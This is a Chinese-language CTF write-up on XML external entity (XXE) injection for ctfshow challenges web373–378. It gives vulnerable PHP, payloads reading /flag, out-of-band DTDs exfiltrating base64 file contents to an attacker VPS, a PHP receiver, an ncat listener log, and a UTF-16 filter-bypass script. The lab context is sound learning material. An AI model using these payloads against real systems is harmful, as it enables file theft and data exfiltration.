知识了解
可以参考这个:
https://blog.csdn.net/hk41666/article/details/125832666
https://blog.csdn.net/weixin_44420143/article/details/118721145
XXE(XML外部实体注入)是一种针对XML文档的攻击方式,能够使攻击者利用XML解析器的漏洞读取本地文件或者远程请求。
XXE攻击的原理是:
- XML文档可以包含DOCTYPE定义,里面可以引用外部实体。
- XML解析器在解析文档时,会根据DOCTYPE中的引用去获取外部资源。
- 攻击者可以构造恶意的外部实体引用,让解析器去读取本地文件,或者发起请求到内网服务器。
- 如果解析器没有禁用外部实体的加载,就可能导致文件内容泄露或远程代码执行。
XXE攻击的危害包括:
- 读取系统敏感文件,如/etc/passwd
- 利用文件协议读取本地文件
- 端口扫描、对内网网站进行攻击
- 攻击内网应用、数据库
- 执行远程代码,调用恶意脚本
防范XXE攻击的方法:
- 对不可信XML输入进行验证,过滤….\等威胁
- 禁用解析器的外部实体加载功能
- 使用安全的XML解析器,如defuse xml等
- 避免上传XML文件或禁用DOCTYPE
- 输出时进行过滤,移除POTENTIAL XXE payload
web373
1 2 3 4 5 6 7 8 9 10 11
| error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow; } highlight_file(__FILE__);
|
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY xee SYSTEM "file:///flag"> ]> <aaa> <ctfshow> &xee; </ctfshow> </aaa>
|
web374-web376
无回显,需要创建一条外带信道来提取数据。
创建一个1.php内容:
1 2 3
| <?php file_put_contents("test.txt", $_GET['file']) ; ?>
|
xxe.dtd文件:
1 2 3
| <!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://[vps-ip]/1.php?file=%file;'> "> %dtd; %xxe;
|
1 2 3 4 5 6 7
| <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://[vps-ip]/xxe.dtd"> %aaa; ]> <root>123</root>
|
将两个外部实体 (%file 和 %aaa) 引入 XML 文档中
%file 定义了一个实体,用于读取位于 /flag 路径下的文件并对其进行 base64 编码,则该文件的内容将以 base64编码的形式显示在 XML 响应中。
%aaa 定义了一个实体,指向远程 XML 文档。如果能够成功地利用此漏洞执行 XXE 攻击,则远程 XML 文档的内容将被解析并包含在XML 响应中。
payload中创建两个实体 通过%aaa访问了xxe.dtd
然后在xxe.dtd中引用了1.php,在1.php中实现了将get传入的file值输出在text.txt中,此时的get值就是payload中定义的file的实体的值,也就是说这里实现了对于flag文件的读取并且传递值给了file变量
~~但是这个我就是成功不了,test.txt出来的是index.php页面。 ~~docker的权限不足,给那个www目录足够权限即可。
剩余的
于是又再网上找了个打法:
payload
1 2 3 4 5 6
| <!DOCTYPE root [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://xxx/test.dtd"> %aaa; ]> <root>1</root>
|
test.dtd:
1 2 3 4
| <!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://xxx:8888/%file;'> "> %dtd; %xxe;
|
这个8888端口监听一下内容:
1 2 3 4 5 6 7 8 9
| [root@iZf8z6xc36jyvoqjdvolkiZ www] Ncat: Version 7.91 ( https: Ncat: Listening on :::8888 Ncat: Listening on 0.0.0.0:8888 Ncat: Connection from 124.223.158.81. Ncat: Connection from 124.223.158.81:48628. GET /Y3Rmc2hvd3swOWU5NTllMy1iZGJmLTRlZTktOTc2Ni00NWE3ODQ2YWNjYWJ9Cg== HTTP/1.0 Host: 47.115.204.101:8888 Connection: close
|
解码一下其中的base64文本。得到flag。
web377
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
过滤了http 但是可以用utf-16绕过。用python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13
| import requests url = 'http://0ec4fe9d-6949-4e9d-a3b1-70be3bb3f01b.challenge.ctf.show/' payload = ''' <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://[vps-ip]/xxe.dtd"> %remote; %send; ]> ''' payload = payload.encode('utf-16') rep = requests.post(url=url, data=payload) print(rep.text)
|
web378
以xml格回显:
payload:
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY file SYSTEM "file:///flag"> ]> <user> <username>&file;</username> <password>123</password> </user>
|